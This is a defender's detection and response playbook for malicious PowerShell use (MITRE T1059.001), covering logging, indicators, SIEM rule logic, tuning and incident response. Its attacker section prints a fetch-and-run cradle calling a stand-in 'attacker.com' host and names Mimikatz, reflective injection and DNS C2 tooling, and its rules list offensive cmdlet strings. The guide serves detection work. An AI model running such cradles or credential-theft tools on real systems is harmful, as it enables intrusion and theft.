| Technique | PowerShell (T1059.001) |
| Tactic | Execution |
| Platforms | Windows |
Overview
PowerShell (T1059.001) is the abuse of Windows’ built-in scripting engine to execute commands, download payloads, run code entirely in memory, and interact with the operating system or remote systems. Attackers use it to accomplish almost anything: initial execution, credential theft, lateral movement, persistence, and data exfiltration — often without dropping a single file to disk.
Because PowerShell is a legitimate, signed, pre-installed tool present on every modern Windows system, defenders cannot simply block it. Every security team needs reliable detection because it is one of the most consistently abused techniques across ransomware, nation-state intrusions, and commodity malware campaigns — and a missed alert here frequently means a missed breach.
Attacker Perspective
Attackers treat PowerShell as a Swiss Army knife: it is always available, trusted by default, and capable of doing nearly anything an implant written in C++ can do.
- In-memory payload execution: Using
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')to fetch and run a PowerSploit or Empire stager without writing anything to disk, bypassing many AV products. - Encoded command abuse: Hiding malicious commands with
powershell.exe -EncodedCommand JABjAD...(Base64) to evade simple string-match detections and confuse analysts reviewing logs. - Living-off-the-land credential theft: Invoking
Invoke-Mimikatzfrom PowerSploit or loading a reflective DLL viaInvoke-ReflectivePEInjectionto dump LSASS credentials without dropping mimikatz.exe. - DNS-based C2 and exfiltration: Running tools like
Start-Dnscat2to tunnel command-and-control traffic over DNS queries, bypassing HTTP/HTTPS proxy controls entirely.
PowerShell is attractive to attackers precisely because defenders struggle to distinguish malicious use from the enormous volume of legitimate administrative and automation activity it generates every day.
Detection Strategy
Required Telemetry
- PowerShell Script Block Logging (Event ID 4104): Captures the full text of every script block executed, including dynamically generated and obfuscated code that gets deobfuscated at runtime. Enable via GPO or registry:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging→ setEnableScriptBlockLogging = 1(DWORD). This is non-negotiable — without it you are blind to what PowerShell actually ran. - PowerShell Module Logging (Event ID 4103): Logs pipeline execution details including parameters passed to cmdlets. Enable via GPO or registry:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging→EnableModuleLogging = 1and setModuleNames = *under the ModuleNames subkey. - PowerShell Operational Log (Event IDs 4100, 4103, 4104): Found at
Microsoft-Windows-PowerShell/Operational. Ensure this channel is forwarded to your SIEM via Windows Event Forwarding (WEF) or your agent. - Process Creation (Event ID 4688 or Sysmon Event ID 1): Required to capture command-line arguments, parent-child process relationships, and the full image path of
powershell.exe,pwsh.exe, and any LOLBins that may spawn PowerShell. For Event ID 4688, enable command-line auditing:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit→ProcessCreationIncludeCmdLine_Enabled = 1. Sysmon with a community config (e.g., SwiftOnSecurity) is strongly preferred for richer fields. - Network Connection Logging (Sysmon Event ID 3): Captures outbound connections initiated by
powershell.exe, which is a high-fidelity indicator of download cradles or C2 callbacks. Must have Sysmon deployed with network monitoring enabled in config. - Windows Security Log — Object Access (Event ID 4663): Useful for detecting PowerShell writing files to sensitive directories. Requires enabling File System auditing on directories of interest.
- Windows System Log (Event ID 7045): Service installation events, relevant when obfuscated PowerShell is delivered via a newly installed service (as seen in Invoke-Obfuscation via Clip.exe detections).
- Anti-Malware Scan Interface (AMSI) Logging: AMSI submits script content to registered security products. Some SIEMs and EDR platforms surface AMSI telemetry — enable and collect it where available as it sees content after deobfuscation.
Key Indicators
- Suspicious parent processes spawning PowerShell: In Sysmon Event ID 1 or Event ID 4688, check
ParentImagevalues such aswinword.exe,excel.exe,outlook.exe,mshta.exe,wscript.exe,cscript.exe,fodhelper.exe,rundll32.exe, orregsvr32.exespawningpowershell.exeorpwsh.exe. Office apps spawning PowerShell is nearly always malicious. - Encoded command flag: In
CommandLinefield, look for-EncodedCommand,-enc,-eccombined with a long Base64 string. Legitimate administrative use of encoded commands is rare in most environments. - Download cradle patterns in ScriptBlockText (Event ID 4104): Look for
Net.WebClient,DownloadString,DownloadFile,Invoke-WebRequest,Start-BitsTransfer,WebRequest, orcurlaliases combined withIEXorInvoke-Expression. - Known offensive framework strings in ScriptBlockText:
Invoke-Mimikatz,Invoke-ReflectivePEInjection,PowerSploit,Start-Dnscat2,Invoke-Empire,Get-GPPPassword,Invoke-Kerberoast,SharpHound. - Obfuscation indicators in ScriptBlockText: Excessive use of backticks (
`), string concatenation to split keywords ('Inv'+'oke'),[char]casting arrays,-joinon character arrays, or very high entropy strings suggesting base64-within-base64 stacking. - Execution policy bypass flags in CommandLine:
-ExecutionPolicy Bypass,-ep bypass,-noprofile,-noninteractive,-windowstyle hiddentogether in a single command line are a high-confidence signal — legitimate scripts rarely need all of these simultaneously. - PowerShell initiating outbound network connections (Sysmon Event ID 3):
Imagefield equalspowershell.exeorpwsh.exewithDestinationPortof80,443, or53. Correlate with the process tree to determine if it was spawned interactively or by another process. - PowerShell writing to suspicious directories: File creation events (Sysmon Event ID 11) where
Imageispowershell.exeandTargetFilenamecontains\Temp\,\AppData\,\ProgramData\, or\Users\Public\— common staging locations for dropped payloads. - Service installation with obfuscated ImagePath (Event ID 7045):
Provider_NameisService Control ManagerandImagePathcontains PowerShell command fragments likepowershell,-enc, or pipe characters, indicating a malicious service used to execute a script.
Detection Logic
Rule 1 (Broad — High Sensitivity): PowerShell Download Cradle Execution
IF EventID = 4104 AND ScriptBlockText CONTAINS ANY ('DownloadString', 'DownloadFile', 'Invoke-WebRequest', 'Start-BitsTransfer') AND ScriptBlockText CONTAINS ANY ('IEX', 'Invoke-Expression') THEN alert HIGH
This catches the most common initial execution pattern: fetch-and-run from the internet. Expect moderate alert volume; the most common false positive is legitimate software update or configuration management scripts — tune by excluding known-good script hashes or paths after baselining your environment for 1–2 weeks.
Rule 2 (Medium — Balanced): PowerShell with Suspicious Launch Flags Spawned by Unusual Parent
IF EventID = 4688 OR SysmonEventID = 1 AND Image ENDSWITH ('powershell.exe', 'pwsh.exe') AND CommandLine CONTAINS ANY ('-EncodedCommand', '-enc', '-ec') AND ParentImage ENDSWITH ANY ('winword.exe', 'excel.exe', 'outlook.exe', 'mshta.exe', 'wscript.exe', 'cscript.exe', 'rundll32.exe', 'regsvr32.exe', 'fodhelper.exe') THEN alert CRITICAL
This specifically targets the delivery phase — a macro or LOLBin dropping into PowerShell. Alert volume should be very low; any hit deserves immediate triage. False positives from Office spawning PowerShell legitimately are rare but exist in environments using COM automation — validate by reviewing the full command line.
Rule 3 (Narrow — High Precision): Known Offensive Framework Cmdlets in Script Block
IF EventID = 4104 AND ScriptBlockText CONTAINS ANY ('Invoke-Mimikatz', 'Invoke-ReflectivePEInjection', 'Start-Dnscat2', 'Invoke-Kerberoast', 'Get-GPPPassword', 'Invoke-Empire', 'PowerSploit') THEN alert CRITICAL
These are named strings from well-known offensive toolkits. Virtually no legitimate production use case calls these cmdlets. Alert volume should be near zero; any alert is high confidence and warrants immediate escalation. Attackers may rename functions to evade this — supplement with the obfuscation rule below.
Rule 4 (Narrow — Obfuscation Detection): PowerShell Obfuscation Indicators
IF EventID = 4104 AND (ScriptBlockText MATCHES REGEX '(\`[a-zA-Z]){3,}' OR ScriptBlockText CONTAINS '[char]' AND ScriptBlockText CONTAINS '-join' OR ScriptBlockText CONTAINS ("'+'" AND LENGTH(ScriptBlockText) > 500)) THEN alert MEDIUM
This targets runtime deobfuscation patterns. Because Event ID 4104 captures the deobfuscated content at execution time, this rule catches the obfuscation infrastructure itself. Expect some false positives from legitimate scripts using character arrays for encoding; tune by length threshold and by excluding known-good script publishers via code signing certificate subject.
Tuning Guidance
- SCCM / Endpoint Management: Microsoft System Center Configuration Manager and Intune frequently invoke PowerShell with encoded commands and hidden windows during software deployment. Identify your SCCM service account and the SCCM client binary path (
ccmexec.exe), then exclude:ParentImage = 'C:\Windows\CCM\CcmExec.exe'orUser IN [sccm_service_accounts]for encoded command rules only — do not exclude script block content rules. - Monitoring and Automation Tools: Tools like SolarWinds, Ansible, Chef, Puppet, and homegrown scripts run scheduled PowerShell frequently. Baseline these by collecting the parent process, user account, and command-line hash. Exclude specific known-good
ScriptBlockTexthashes or addParentImage IN [known_automation_binaries]exclusions narrowly scoped to those rules where volume is high. - Developer Workstations: Security researchers, developers, and DevOps engineers may legitimately use download cradles, encoded commands, and even offensive security tools in lab environments. Tag these hosts in your asset inventory and apply a reduced-sensitivity profile or route alerts to a separate queue reviewed by a different team rather than suppressing them entirely.
- Signed Administrative Scripts: Many enterprise PowerShell modules (e.g., Azure AD, Exchange Management Shell, VMware PowerCLI) generate high volumes of benign 4104 events. After baselining, exclude by
ScriptBlockText CONTAINS 'Microsoft.Online'or the specific module name, scoped only to the broad download cradle rule — never suppress coverage for offensive framework strings. - Antivirus and EDR Agents: Some security products use PowerShell internally for health checks or remediation. Identify these binaries and add
ParentImage IN [av_edr_process_paths]to process creation rules, but always retain script block logging coverage on what they actually execute.
Community Sigma Rules — The following rules from the SigmaHQ community repository implement detection for this technique. Use Uncoder.io or pySigma to convert them to your SIEM’s query language.
When the Alert Fires: Investigation Steps
- Confirm the alert is real by pulling the raw event. Navigate to your SIEM and retrieve the original Event ID 4104 or process creation event; verify the
ScriptBlockTextorCommandLinefield matches what triggered the rule and has not been corrupted in transit through your log pipeline. - Identify the affected host and user account. Extract the
ComputerName,SubjectUserName, andSubjectLogonIDfrom the event; check Active Directory or your identity provider to determine if this is a privileged account (admin, service account, or member of sensitive groups like Domain Admins), and flag immediately if so. - Reconstruct the full process execution chain. Using Sysmon Event ID 1 or Event ID 4688, trace from the PowerShell process upward through
ParentProcessIdto find the originating process; a chain ofwinword.exe → cmd.exe → powershell.exeormshta.exe → powershell.exeis near-certain compromise and warrants immediate escalation. - Retrieve the complete script block content and decode any obfuscation. Pull all Event ID 4104 events for the same
ProcessIdandRunspaceId(large scripts are split across multiple events); use CyberChef or a local PowerShell session to Base64-decode any encoded commands, then search the decoded content for C2 URLs, credential harvesting functions, or lateral movement tools. - Check for network connections and files written to disk. In Sysmon Event ID 3 filtered by the same
ProcessId, identify any outbound connections made by the PowerShell process and resolve destination IPs/domains against threat intelligence feeds (VirusTotal, Shodan, your TIP); also review Sysmon Event ID 11 for files created in\Temp\,\AppData\, or\ProgramData\by the same process. - Search for lateral movement originating from this host. Query your SIEM for Sysmon Event ID 3 or Windows Security Event ID 4624 (logon type 3 or 10) from the affected host within two hours of the PowerShell execution; also search for
Invoke-CommandorEnter-PSSessionstrings in Event ID 4104 logs, and check for WMI (Event ID 4648) or SMB activity to other internal hosts. - Determine whether this is a confirmed incident or a false positive and escalate accordingly. If the parent process is a known-good automation tool, the script content matches a catalogued legitimate script, and no network connections or file writes were made to suspicious locations, document and close as a tuning opportunity; if any of the following are true — offensive framework strings present, unexpected parent process, outbound connection to an uncategorised external host, or privileged account involved — escalate to Tier 2/IR immediately and move to containment without waiting for further confirmation.
Response Playbook
Containment
- Isolate the affected host from the network immediately, but leave it powered on. Use your EDR console (CrowdStrike Network Containment, Defender for Endpoint Isolate, etc.) to cut network access while preserving volatile memory, active processes, and log artifacts needed for forensics. Do not shut down or reimage until forensic collection is complete.
- Kill the malicious PowerShell process. Use your EDR or run
Stop-Process -Id [PID] -Forcevia a remote administrative session if EDR is not available; note the PID, parent PID, and any child processes before terminating so you have the complete tree documented. - Disable the affected user account immediately. In Active Directory Users and Computers or via
Disable-ADAccount -Identity [username], disable the account to prevent reuse of credentials; if this is a service account, coordinate with the application team before disabling to understand blast radius. - Revoke active sessions and authentication tokens. Invalidate Kerberos tickets for the account by running
klist purgeon affected hosts and resetting the account password (which forces a new TGT); for cloud-connected accounts (Azure AD/Entra ID), revoke all refresh tokens viaRevoke-AzureADUserAllRefreshTokenor the Entra ID portal. - Block identified C2 IPs, domains, and URLs at the perimeter. Submit all outbound destinations identified in Sysmon Event ID 3 to your firewall team and DNS filtering solution (e.g., Umbrella, Zscaler) for immediate blocking; also create a web proxy block rule if the download cradle used HTTP/HTTPS, and document all IOCs in your threat intelligence platform.
Eradication
- Hunt for and remove all identified persistence mechanisms. Check scheduled tasks (
schtasks /query /fo LIST /v), registry run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\RunandHKLMequivalents), startup folders, WMI subscriptions (Get-WMIObject -Namespace root\subscription -Class __EventFilter), and installed services (Event ID 7045 history) for any entries created around the time of the incident. - Locate and delete all dropped payloads and tools. Search the host for files created in
\Temp\,\AppData\Roaming\,\ProgramData\, and\Users\Public\around the incident timestamp using Sysmon Event ID 11 history or your EDR’s file timeline; submit file hashes to VirusTotal and delete confirmed malicious files. - Reset credentials for every account that executed or was targeted by the malicious activity. This includes the directly affected account and any accounts whose credentials may have been harvested (check for
Invoke-Mimikatzor LSASS access in your EDR telemetry); if a domain admin account was involved, consider a full krbtgt password reset (double-reset with a 10-hour gap to invalidate all existing tickets). - Audit lateral movement targets for secondary compromise. For every internal host the affected system connected to during the investigation window, repeat the same checks: review Event ID 4104 logs, check for new scheduled tasks or services, and validate no new local admin accounts were created (Event ID 4720 + 4732).
- Rotate any secrets or API keys that may have been exposed. If the PowerShell script accessed credential stores, configuration files, or cloud provider credential files (e.g., AWS
credentialsfile, Azure service principal secrets), rotate those credentials immediately through the relevant secret management system and audit their recent usage logs.
Recovery
- Verify the host is clean before reconnecting it to the network. Conduct a full EDR scan, review your forensic findings, and confirm no persistence remains; if confidence in the cleanliness of the system is anything less than high, reimage from a known-good baseline rather than attempting manual cleaning — the risk of missing a secondary implant is too high.
- Re-enable the user account only after confirming no persistence remains and credentials have been reset. Brief the user on what occurred and instruct them to report any anomalous behaviour immediately after their account is restored; do not restore access over a weekend or holiday without monitoring coverage in place.
- Monitor the previously affected host and user account intensively for 72 hours post-remediation. Set up a temporary saved search or alert in your SIEM specifically scoped to this host and user, with a lower threshold than your standard rules, to catch any reinfection or attacker return via a different vector.
- Document the full attack timeline and close the incident formally. Create a timeline from first evidence of the PowerShell execution through containment, including all IOCs, affected accounts, and systems; share relevant IOCs with your threat intelligence feeds and submit to community platforms (ISACs, VirusTotal) where policy permits.
- Update your detection rules and tuning based on new IOCs discovered during this investigation. Add any new malicious script block strings, C2 domains, or obfuscation patterns to your detection logic; if this alert was a false positive, document the exclusion added and the specific condition that triggered it so the tuning decision is auditable.
Stay Ahead
Get daily threat intelligence and detection playbooks.
Free. No account. No email. Follow in Feedly, Inoreader, or any RSS reader.